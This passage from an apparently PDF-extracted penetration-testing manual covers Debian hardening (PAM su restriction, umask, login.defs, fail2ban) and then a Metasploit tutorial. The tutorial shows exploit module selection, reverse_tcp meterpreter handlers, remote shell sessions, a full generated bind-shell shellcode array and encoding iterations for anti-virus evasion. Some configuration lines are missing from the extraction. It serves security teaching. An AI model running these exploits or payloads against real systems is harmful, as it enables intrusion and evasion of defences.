• N1 is used for passwords consisting of characters from two character classes that do not meet the requirements
for a passphrase.
• N2 is used for passphrases. Note that besides meeting this length requirement, a passphrase must also consist of
a sufficient number of words.
• N3 and N4 are used for passwords consisting of characters from three and four character classes, respectively.
Control of su in PAM
If you want to protect su, so that only some people can use it to become root on your system, you need to add
a new group “wheel” to your system. Add root and the other users that should be able to su to the root user to
this group. This makes sure that only people from the group “wheel” can use su to become root. Other users will
not be able to become root. In fact they will get a denied message if they try to become root.‘Wheel PAM <https:
//wiki.debian.org/WHEEL/PAM>‘_ provides a quick tutorial how to set this up.
• With root privileges uncomment the following line in /etc/pam.d/su, by removing the leading ‘#’:
That’s all for the file and no user can execute su anymore. This is the most secure configuration.
• Allow a user to execute su: After having restricted the execution of su,create the group wheel with root privi-
leges:
groupadd wheel
Since there have been a number of so called insecure tempfile vulnerabilities, thttpd is one example,the libpam-tmpdir
is a good package to install. All you have to do is add the following to /etc/pam.d/common - session:
Finally, but not least, create /etc/pam.d/other and enter the followinglines:
These lines will provide a good default configuration for all applications that support PAM (access is denied by
default).20400086134
Debian’s default umask setting is 022 this means that files (and directories) can be read and accessed by the user’s
group and by any other users in the system. More restrictive umask settings include 027 (no access is allowed to new
files for the other group, i.e. to other users in the system) or 077 (no access is allowed to new files to the members the
user’s group). This change is set by defining a proper umask setting for all users
• introducing an umask call in the shell configuration files /etc/profile (source by all Bourne-compatible shells),
/etc/csh.cshrc, /etc/csh.login, /etc/zshrc and probably some others (depending on the shells you have installed
on your system)
• change the UMASK setting in /etc/login.defs, Of all of these the last one that gets loaded by the shell takes
precedence. The order is: the default system configuration for the user’s shell (i.e. /etc/profile and other system-
wide configuration files) and then the user’s shell (his ~/.profile, ~/.bash_profile, etc. . . ).
• Install libpam-umask package adjusts the users’ default umask using PAM. Add the following, after installing
the package, to /etc/pam.d/common-session:
• you should consider changing root’s default 022 umask (as defined in/root/.bashrc) to a more strict umask.
That will prevent the system administrator from inadvertenly dropping sensitive files when working as root to
world-readable directories (such as /tmp) and having them available for your average user.
• Limiting access to other user’s information: However, users’ $HOME directories are created with 0755 permis-
sions (group-readable and world-readable). The group permissions is not an issue since only the user belongs to
the group, however the world permissions might (or might not) be an issue depending on your local policy. You
can change this behavior so that user creation provides different $HOME permissions. To change the behavior
for new users when they get created, change DIR_MODE in the configuration file /etc/adduser.conf to 0750 (no
world-readable access).
Edit /etc/login.defs The next step is to edit the basic configuration and action upon user login. Note that this file is
not part of the PAM configuration, it’s a configuration file honored by login and su programs, so it doesn’t make sense
tuning it for cases where neither of the two programs are at least indirectly called (the getty program which sits on the
consoles and offers the initial login prompt does invoke login).
FAILLOG_ENAB yes
If you enable this variable, failed logins will be logged. It is important to keep track of them to catch someone who
tries a brute force attack.
LOG_UNKFAIL_ENAB no
If you set this variable to ‘yes’ it will record unknown usernames if the login failed. It is best if you use ‘no’ (the
default) since, otherwise, user passwords might be inadvertenly logged here (if a user mistypes and they enter their
password as the username). If you set it to ‘yes’, make sure the logs have the proper permissions (640 for example,
with an appropriate group setting such as adm).
SYSLOG_SU_ENAB yes
This one enables logging of su attempts to syslog. Quite important on serious machines but note that this can create
privacy issues as well.
SYSLOG_SG_ENAB yes
ENCRYPT_METHOD SHA512
As stated above, encrypted passwords greatly reduce the problem of dictionary attacks, since you can use longer
passwords. This definition has to be consistent with the value defined in /etc/pam.d/common-password.
It is not only important to decide how alerts are used, but also who has read/modify access to the log files (if not using
a remote loghost. First /var/log/lastlog and /var/log/faillog do not need to be readable by normal users. In the lastlog
file you can see who logged in recently, and in the faillog you see a summary of failed logins. The author recommends
chmod 660 for both.
• sysstat: The sysstat utilities are a collection of performance monitoring tools for Linux. These include sar, sadf,
mpstat, iostat,tapestat, pidstat, cifsiostat and sa tools.
• apt-listbugs: apt-listbugs is a tool which retrieves bug reports from the Debian Bug Tracking System and lists
them. Especially, it is intended to be invoked before each installation/upgrade by APT in order to check whether
the installation/upgrade is safe.
• Debian-goodies: It is a package that includes toolbox-style utilities used to manage Debian and its derivative
systems such as Ubuntu, Kali Linux.
• dglob – Produce a list of package names which match a pattern
• dgrep – Search all files in given packages for a regex
• dpigs – Display which installed packages taken the most disk space
• debget – Obtain a .deb for a package in APT’s database
• debmany – Choose manpages of installed or removed packages
• checkrestart – Finds and restart processes which are using outdated versions of upgraded files
• popbugs – Show a customized release-critical bug report based on packages you use
• which-pkg-broke – Catch which package might have broken another
• debscan: The debsecan program evaluates the security status of a host running the Debian operation system. It
reports missing security updates and known vulnerabilities in the programs which are installed on the host.
• Install fail2ban: Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious
signs – too many password failures, seeking for exploits, etc. Generally Fail2Ban is then used to update firewall
rules to reject the IP addresses for a specified amount of time, although any arbitrary other action (e.g. sending
an email) could also be configured.
Configure
• SSH with fail2ban.
• Modsecurtiy.is a free web application firewall (WAF) that works with Apache, Nginx and IIS. It
supports a flexible rule engine to perform simple and complex operations and comes with a Core
Rule Set (CRS) which has rules for SQL injection, cross site scripting, Trojans, bad user agents,
session hijacking and a lot of other exploits.
• Tripwire. Open Source Tripwire® software is a security and data integrity tool useful for monitoring
and alerting on specific file change(s) on a range of systems.
• kernel.core_uses_pid (expected 1) : If the /proc/sys/kernel/core_uses_pid file contains the value 0, then a core
dump file is simply named core. If this file contains a nonzero value, then the core dump file includes the process
on all interfaces. Accept ICMP redirect messages. accept_redirects for the interface will be enabled if: -
both conf/{all,interface}/accept_redirects are TRUE in the case forwarding for the interface is enabled or - at
least one of conf/{all,interface}/accept_redirects is TRUE in the case forwarding for the interface is disabled
accept_redirects for the interface will be disabled otherwise default TRUE (host) FALSE (router)
• nnet.ipv4.conf.default.accept_source_route (expected 0) : The accept_source_route option causes network in-
terfaces to accept packets with the Strict Source Route (SSR) or Loose Source Routing (LSR) option set.
• net.ipv4.tcp_timestamps (Expected 0)
Harden compilers like restricting access to root user only: Use grep to found out the compilers installed from the
/var/log/lynis.log file.
Disable drivers like USB Mass storage / firewire storage (if not used) to prevent unauthorized storage or data-theft.
• USB Mass storage: Add the below line in /etc/modprobe.d/blacklist-usbstorage
Metasploit Documentation
4.1 Fundamentals
4.1.1 MsfCli
The msfcli provides a powerful command line interface to the framework. This allows you to easily add Metasploit
exploits into any scripts you may create. > Note: As of 2015-06-18 msfcli has been removed. One way to obtain
similar functionality through msfconsole is by using the -x option. For example, the following command sets all the
options for samba/usermap_script and runs it against a target:
root@kali:~# msfcli -h
Usage: /usr/bin/msfcli >option=value> [mode]
===========================================================
(continues on next page)
231
Ptest Method Documentation, Release 1
Mode Description
---- -----------
(A)dvanced Show available advanced options for this module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
(H)elp You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module
(O)ptions Show available options for this module
(P)ayloads Show available payloads for this module
(S)ummary Show information about this module
(T)argets Show available targets for this exploit module
Examples:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E
Note: when using msfcli, variables are assigned using the “equal to” operator = and that all options are case-sensitive.
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/
˓→Linux
If you aren’t entirely sure about what options belong to a particular module, you can append the letter ‘O‘ to the end
of the string at whichever point you are stuck.
root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...
To display available payloads for the current module, append the letter ‘P‘ to the msfcli command line string.
root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules...
Compatible payloads
===================
Name Description
---- -----------
cmd/unix/bind_awk Listen for a connection and spawn a command
˓→shell via GNU AWK
cmd/unix/bind_zsh
Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh
˓→is
cmd/unix/reverse_zsh
Connect back and create a command shell via Zsh. Note: Although Zsh is often
available, please be aware it isn't usually installed by default.
4.1.2 msfconsole
back
Once you have finished working with a particular module, or if you inadvertently select the wrong module, you
can issue the back command to move out of the current context. This, however is not required. Just as you can in
commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over
if they are set globally.
banner
=[ metasploit v4.11.4-2015071402 ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
check
There aren’t many exploits that support it, but there is also a check option that will check to see if a target is vulnerable
to a particular exploit instead of actually exploiting it.
Exploit target:
Id Name
-- ----
0 Automatic Targeting
color
You can enable or disable if the output you get through the msfconsole will contain colors.
connect
There is a miniature Netcat clone built into the msfconsole that supports SSL, proxies, pivoting, and file transfers.
By issuing the connect command with an IP address and port number, you can connect to a remote host from within
msfconsole the same as you would with Netcat or Telnet.
You can see all the additional options by issuing the “-h” parameter.
OPTIONS:
msf >
edit
The edit command will edit the current module with $VISUAL or $EDITOR. By default, this will open the current
module in Vim.
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/windows_error'
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
exit
grep
The grep command is similar to Linux grep. It matches a given pattern from the output of another msfconsole com-
mand. The following is an example of using grep to match output containing the string “http” from a search for
modules containing the string “oracle”.
OPTIONS:
exploit/windows/http/oracle_btm_writetofile 2012-08-07
˓→ excellent Oracle Business Transaction Management FlashTunnelService Remote Code
˓→Execution
exploit/windows/http/oracle_endeca_exec 2013-07-16
˓→ excellent Oracle Endeca Server Remote Command Execution
exploit/windows/http/oracle_event_processing_upload 2014-04-21
˓→ excellent Oracle Event Processing FileUploadServlet Arbitrary File Upload
exploit/windows/http/osb_uname_jlist 2010-07-13
˓→ excellent Oracle Secure Backup Authentication Bypass/Command Injection
˓→Vulnerability
help
The help command will give you a list and small description of all available commands.
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
...snip...
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
...snip...
info
The info command will provide detailed information about a particular module including all options, targets, and other
information. Be sure to always read the module description prior to using it as some may have un-desired effects.
The info command also provides the following information:
• The author and licensing information
• Vulnerability references (ie: CVE, BID, etc)
• Any payload restrictions the module may have
msf exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_
˓→smb2_negotiate_func_index
Provided by:
Laurent Gaffie
hdm
sf
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The target port
WAIT 180 yes The number of seconds to wait for the attack to
˓→complete.
Payload information:
Space: 1024
Description:
This module exploits an out of bounds function table dereference in
the SMB request validation code of the SRV2.SYS driver included with
Windows Vista, Windows 7 release candidates (not RTM), and Windows
2008 Server prior to R2. Windows Vista without SP1 does not seem
affected by this flaw.
References:
http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
http://www.securityfocus.com/bid/36299
http://www.osvdb.org/57799
http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx
irb
Running the irb command will drop you into a live Ruby interpreter shell where you can issue commands and create
Metasploit scripts on the fly. This feature is also very useful for understanding the internals of the Framework.
jobs
Jobs are modules that are running in the background. The jobs command provides the ability to list and terminate
these jobs.
OPTIONS:
msf >
kill
The kill command will kill any running jobs when supplied with the job id.
msf exploit(ms10_002_aurora) > kill 0 Stopping job: 0. . .
[*] Server stopped.
load
The load command loads a plugin from Metasploit’s plugin directory. Arguments are passed as key=val on the shell.
Loads a plugin from the supplied path. If path is not absolute, first looks
in the user's plugin directory (/root/.msf4/plugins) then
in the framework root plugin directory (/usr/share/metasploit-framework/plugins).
The optional var=val options are custom parameters that can be passed to plugins.
loadpath
The loadpath command will load a third-part module tree for the path so you can point Metasploit at your 0-day
exploits, encoders, payloads, etc.
Loaded 0 modules.
unload
Conversely, the unload command unloads a previously loaded plugin and removes any extended commands.
resource
The resource command runs resource (batch) files that can be loaded through msfconsole.
msf > resource
Usage: resource path1 [path2 ...]
Run the commands stored in the supplied files. Resource files may also contain
ruby code between tags.
Some attacks, such as Karmetasploit, use resource files to run a set of commands in a karma.rc file to create an attack.
Later, we will discuss how, outside of Karmetasploit, that can be very useful.
msf > resource karma.rc
[*] Processing karma.rc for ERB directives.
resource (karma.rc_.txt)> db_connect postgres:[email protected]/msfbook
resource (karma.rc_.txt)> use auxiliary/server/browser_autopwn
...snip...
Batch files can greatly speed up testing and development times as well as allow the user to automate many tasks.
Besides loading a batch file from within msfconsole, they can also be passed at startup using the -r flag. The simple
example below creates a batch file to display the Metasploit version number at startup.
root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc
_ _
/ / __ _ __ /_/ __
| | / | _____ ___ _____ | | / _
| | /| | | ___ |- -| / / __ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / - __ | | | | __/| | | |_
|/ |____/ ___/ / \___/ / __| |_ ___
route
The “route” command in Metasploit allows you to route sockets through a session or ‘comm’, providing basic pivoting
capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.
Usage:
route [add/remove] subnet netmask [comm/sid]
route [add/remove] cidr [comm/sid]
route [get]
route [flush]
route [print]
Subcommands:
add - make a new route
remove - delete a route; 'del' is an alias
flush - remove all routes
get - display the route for a given target
print - show all active routes
Examples:
Add a route for all hosts from 192.168.0.0 to 192.168.0.0 through session 1
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1
Display the route that would be used for the given host or network
route get 192.168.0.11
meterpreter >
Network routes
==============
search
The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of
what you are looking for, you can search for it via search. In the output below, a search is being made for MS Bulletin
MS09-011. The search function will locate this string within the module names, descriptions, references, etc.
Note the naming convention for Metasploit modules uses underscores versus hyphens.
Matching Modules
================
msf >
help Search
You can further refine your searches by using the built-in keyword system.
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary, or post)
Examples:
search cve:2009 type:exploit app:client
msf >
name
Matching Modules
================
auxiliary/admin/mysql/mysql_enum normal
˓→MySQL Enumeration Module
auxiliary/admin/mysql/mysql_sql normal
˓→MySQL SQL Generic Query
auxiliary/scanner/mysql/mysql_hashdump normal
˓→MYSQL Password Hashdump
auxiliary/scanner/mysql/mysql_login normal
˓→MySQL Login Utility
auxiliary/scanner/mysql/mysql_schemadump normal
˓→MYSQL Schema Dump
auxiliary/scanner/mysql/mysql_version normal
˓→MySQL Server Version Enumeration
msf >
platform
You can use platform to narrow down your search to modules that affect a specific platform.
msf > search platform:aix
Matching Modules
================
...snip...
type
Using the type lets you filter by module type such as auxiliary, post, exploit, etc.
msf > search type:post
Matching Modules
================
...snip...
author
Searching with the author keyword lets you search for modules by your favourite author.
Matching Modules
================
...snip...
multiple
You can also combine multiple keywords together to further narrow down the returned results.
Matching Modules
================
sessions
The sessions command allows you to list, interact with, and kill spawned sessions. The sessions can be shells, Meter-
preter sessions, VNC, etc.
OPTIONS:
(continues on next page)
-C <opt> Run a Meterpreter Command on the session given with -i, or all
-K Terminate all sessions
-c <opt> Run a command on the session given with -i, or all
-h Help banner
-i <opt> Interact with the supplied session ID
-k <opt> Terminate sessions by session ID and/or range
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-t <opt> Set a response timeout (default: 15)
-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List sessions in verbose mode
-x Show extended information in the session table
Many options allow specifying session ranges using commas and dashes.
For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.101:33191 -> 192.168.1.104:4444
To interact with a given session, you just need to use the ‘-i’ switch followed by the Id number of the session.
msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...
C:WINDOWSsystem32>
set
The set command allows you to configure Framework options and parameters for the current module you are working
with.
msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134
msf auxiliary(ms09_050_smb2_negotiate_func_index) > show options
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Metasploit also allows you to set an encoder to use at run-time. This is particularly useful in exploit development
when you aren’t quite certain as to which payload encoding methods will work with a given exploit.
msf exploit(ms09_050_smb2_negotiate_func_index) > show encoders
Compatible Encoders
===================
unset
The opposite of the set command, of course, is unset. unset removes a parameter previously configured with set. You
can remove all assigned variables with unset all.
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
(continues on next page)
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
Global
======
msf >
setg
In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with
the setg command. Once these have been set, you can use them in as many exploits and auxiliary modules as you
like. You can also save them for use the next time you start msfconsole. However, the pitfall is forgetting you have
saved globals, so always check your options before you run or exploit. Conversely, you can use the unsetg command
to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is
case-insensitive so it is not necessary to do so.
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
After setting your different variables, you can run the save command to save your current environment and settings.
With your settings saved, they will be automatically loaded on startup, which saves you from having to set everything
again.
msf > save
Saved configuration to: /root/.msf4/config
msf >
show
Entering show at the msfconsole prompt will display every module within Metasploit.
msf > show
Encoders
(continues on next page)
...snip...
There are a number of show commands you can use but the ones you will use most frequently are show auxiliary, show
exploits, show payloads, show encoders, and show nops.
auxiliary
Executing show auxiliary will display a listing of all of the available auxiliary modules within Metasploit. As men-
tioned earlier, auxiliary modules include scanners, denial of service modules, fuzzers, and more.
msf > show auxiliary
Auxiliary
=========
admin/backupexec/dump normal
˓→Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry normal
˓→Veritas Backup Exec Server Registry Access
...snip...
exploits
Naturally, show exploits will be the command you are most interested in running since at its core, Metasploit is all
about exploitation. Run show exploits to get a listing of all exploits contained in the framework.
msf > show exploits
Exploits
========
Running show payloads will display all of the different payloads for all platforms available within Metasploit.
Payloads
========
...snip...
payloads
As you can see, there are a lot of payloads available. Fortunately, when you are in the context of a particular exploit,
running show payloads will only display the payloads that are compatible with that particular exploit. For instance, if
it is a Windows exploit, you will not be shown the Linux payloads.
Compatible Payloads
===================
...snip...
options
If you have selected a specific module, you can issue the show options command to display which settings are available
and/or required for that specific module.
Module options:
Exploit target:
Id Name
-- ----
0 Automatic Targeting
targets
If you aren’t certain whether an operating system is vulnerable to a particular exploit, run the show targets command
from within the context of an exploit module to see which targets are supported.
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
10 Windows 2003 SP1 Japanese (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP2 English (NX)
...snip...
advanced
If you wish the further fine-tune an exploit, you can see more advanced options by running show advanced.
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
encoders
Running show encoders will display a listing of the encoders that are available within MSF.
nops
Lastly, issuing the show nops command will display the NOP Generators that Metasploit has to offer.
use
When you have decided on a particular module to make use of, issue the use command to select it. The use command
changes your context to a specific module, exposing type-specific commands. Notice in the output below that any
global variables that were previously set are already configured.
Module options:
4.1.3 Exploits
show Exploits
Selecting an exploit in Metasploit adds the ‘exploit’ and ‘check’ commands to msfconsole.
Command Description
------- -----------
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
pry Open a Pry session on the current module
rcheck Reloads the module and checks if the target is vulnerable
reload Just reloads the module
rerun Alias for rexploit
(continues on next page)
show
Exploit targets:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Compatible Payloads
===================
...snip...
Exploit target:
Id Name
-- ----
0 Windows Vista SP1/SP2 and Server 2008 (x86)
Advanced
...snip...
Evasion
4.1.4 payloads
Payloads types
We briefly covered the three main payload types: singles, stagers and stages. Metasploit contains many different types
of payloads, each serving a unique role within the framework. Let’s take a brief look at the various types of payloads
available and get an idea of when each type should be used.
A single payload containing the exploit and full shell code for the selected task. Inline payloads are by design more
stable than their counterparts because they contain everything all in one. However some exploits wont support the
resulting size of these payloads.
Stager
Stager payloads work in conjunction with stage payloads in order to perform a specific task. A stager establishes a
communication channel between the attacker and the victim and reads in a stage payload to execute on the remote
host.
Meterpreter
Meterpreter, the short form of Meta-Interpreter is an advanced, multi-faceted payload that operates via dll injection.
The Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making
it very difficult to detect with conventional forensic techniques. Scripts and plugins can be loaded and unloaded
dynamically as required and Meterpreter development is very strong and constantly evolving.
PassiveX
PassiveX is a payload that can help in circumventing restrictive outbound firewalls. It does this by using an ActiveX
control to create a hidden instance of Internet Explorer. Using the new ActiveX control, it communicates with the
attacker via HTTP requests and responses.
NoNX
The NX (No eXecute) bit is a feature built into some CPUs to prevent code from executing in certain areas of memory.
In Windows, NX is implemented as Data Execution Prevention (DEP). The Metasploit NoNX payloads are designed
to circumvent DEP.
Ord
Ordinal payloads are Windows stager based payloads that have distinct advantages and disadvantages. The advantages
being it works on every flavor and language of Windows dating back to Windows 9x without the explicit definition
of a return address. They are also extremely tiny. However two very specific disadvantages make them not the
default choice. The first being that it relies on the fact that ws2_32.dll is loaded in the process being exploited before
exploitation. The second being that it’s a bit less stable than the other stagers.
IPv6
The Metasploit IPv6 payloads, as the name indicates, are built to function over IPv6 networks.
Reflective DLL Injection is a technique whereby a stage payload is injected into a compromised host process running
in memory, never touching the host hard drive. The VNC and Meterpreter payloads both make use of reflective DLL
injection. You can read more about this from Stephen Fewer, the creator of the reflective DLL injection method.
http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html
General generation
During exploit development, you will most certainly need to generate shellcode to use in your exploit. In Metas-
ploit, payloads can be generated from within the msfconsole. When you ‘use‘ a certain payload, Metasploit adds the
‘generate‘, ‘pry‘ and ‘reload‘ commands. Generate will be the primary focus of this section in learning how to use
Metasploit.
Command Description
------- -----------
generate Generates a payload
pry Open a Pry session on the current module
reload Reload the current module from disk
Let’s start by looking at the various options for the ‘generate‘ command by running it with the ‘-h‘ switch.
Generates a payload.
OPTIONS:
-E Force encoding.
-b <opt> The list of characters to avoid: '\x00\xff'
-e <opt> The name of the encoder module to use.
-f <opt> The output file name (otherwise stdout)
-h Help banner.
(continues on next page)
To generate shellcode without any options, simply execute the ‘generate‘ command.
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"
Of course the odds of generating shellcode like this without any sort of ‘tweeking’ are rather low. More often than not,
bad characters and specific types of encoders will be used depending on the targeted machine.
The sample code above contains an almost universal bad character, the null byte (x00). Granted some exploits allow
us to use it but not many. Let’s generate the same shellcode only this time we will instruct Metasploit to remove this
unwanted byte.
To accomplish this, we issue the ‘generate‘ command followed by the ‘-b‘ switch with accompanying bytes we wish
to be disallowed during the generation process.
msf payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
(continues on next page)
Looking at this shellcode it’s easy to see, compared to the previously generated bind shell, the null bytes have been
successfully removed. Thus giving us a null byte free payload. We also see other significant differences as well, due
to the change we enforced during generation.
One difference is the shellcode’s total byte size. In our previous iteration the size was 341 bytes, this new shellcode is
27 bytes larger.
During generation, the null bytes’ original intent, or usefulness in the code, needed to be replaced (or encoded) in
order to insure, once in memory, our bind shell remains functional.
Another significant change is the added use of an encoder. By default Metasploit will select the best encoder to
accomplish the task at hand. The encoder is responsible for removing unwanted characters (amongst other things)
entered when using the ‘-b’ switch. We’ll discuss encoders in greater detail later on.
When specifying bad characters the framework will use the best encoder for the job. The ‘x86/shikata_ga_nai’ encoder
was used when only the null byte was restricted during the code’s generation. If we add a few more bad characters
a different encoder may be used to accomplish the same task. Lets add several more bytes to the list and see what
happens.
We see a different encoder was used in order to successfully remove our unwanted bytes. Shikata_ga_nai was probably
incapable of encoding our payload using our restricted byte list. Fnstenv_mov on the other hand was able to accomplish
this.
Having the ability to generate shellcode without the use of certain characters is one of the great features offered by
this framework. That doesn’t mean it’s limitless.
If too many restricted bytes are given no encoder may be up for the task. At which point Metasploit will
display the following message.
˓→'
As mentioned previously the framework will choose the best encoder possible when generating our payload. However
there are times when one needs to use a specific type, regardless of what Metasploit thinks. Imagine an exploit that
will only successfully execute provided it only contains non-alphanumeric characters. The ‘shikata_ga_nai’ encoder
would not be appropriate in this case as it uses pretty much every character available to encode.
Looking at the encoder list, we see the ‘x86/nonalpha’ encoder is present.
If everything went according to plan, our payload will not contain any alphanumeric characters. But we must be
careful when using a different encoder other than the default. As it tends to give us a larger payload. For instance, this
one is much larger than our previous examples.
Our next option on the list is the ‘-f‘ switch. This gives us the ability to save our generated payload to a file instead of
displaying it on the screen. As always it follows the ‘generate‘ command with file path.
By using the ‘cat‘ command the same way we would from the command shell, we can see our payload was successfully
saved to our file. As we can see it is also possible to use more than one option when generating our shellcode.
Next on our list of options is the iteration switch ‘-i‘. In a nutshell, this tells the framework how many encoding
passes it must do before producing the final payload. One reason for doing this would be stealth, or anti-virus evasion.
Anti-virus evasion is covered in greater detail in another section of MSFU.
So let’s compare our bind shell payload generated using 1 iteration versus 2 iteration of the same shellcode.
Comparing the two outputs we see the obvious effect the second iteration had on our payload. First of all, the byte size
is larger than the first. The more iterations one does the larger our payload will be. Secondly comparing the first few
bytes of the highlighted code, we also see they are no longer the same. This is due to the second iteration, or second
encoding pass. It encoded our payload once, than took that payload and encoded it again. Lets look at our shellcode
and see how much of a difference 5 iterations would make.
The change is significant when comparing to all previous outputs. It’s slightly larger and our bytes are no where near
similar. Which would, in theory, make this version of our payload less prone to detection.
We’ve spent lots of time generating shellcode from the start with default values. In the case of a bind shell the default
listening port is 4444. Often this must be changed. We can accomplish this by using the ‘-o’ switch followed by the
